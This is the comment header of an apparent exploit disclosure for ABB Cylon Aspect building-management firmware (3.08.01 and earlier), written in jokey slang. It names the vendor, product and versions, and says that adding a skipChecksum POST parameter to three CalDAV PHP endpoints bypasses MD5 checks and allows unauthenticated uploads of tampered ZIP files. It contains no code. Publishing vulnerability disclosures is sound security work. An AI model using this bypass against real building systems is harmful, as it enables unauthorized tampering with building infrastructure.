    # ABB Cylon Aspect 3.08.01 (caldavUpload.php) Funkalicious Exploit
    #
    #
    # Vendor: ABB Ltd.
    # Product web page: https://www.global.abb
    # Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
    #                   Firmware: <=3.08.01
    #
    # Summary: ASPECT is an award-winning scalable building energy
    # management and control solution designed to allow users seamless
    # access to their building data through standard building protocols
    # including smart devices.
    #
    # Desc: Yo, check it - the ABB BMS/BAS system's got a slick little
    # weakness in them caldavInstall.php, caldavInstallAgendav.php, and
    # caldavUpload.php files. All you gotta do is drop that skipChecksum
    # beat in the POST vibe, and bam, the system skips all that MD5
    # checksum nonsense, no EXPERTMODE needed to crank the funk. This
    # lets any slick cat without a login slide in some jacked-up CalDAV
    # ZIP files, no questions asked. We're talkin' tampered tunes hittin'
    # the deck, openin' the door to messin' with the system or droppin'
    # some nasty uploads, all unauthorized-like. That's the funky flaw,
    # baby - straight-up tamper town!
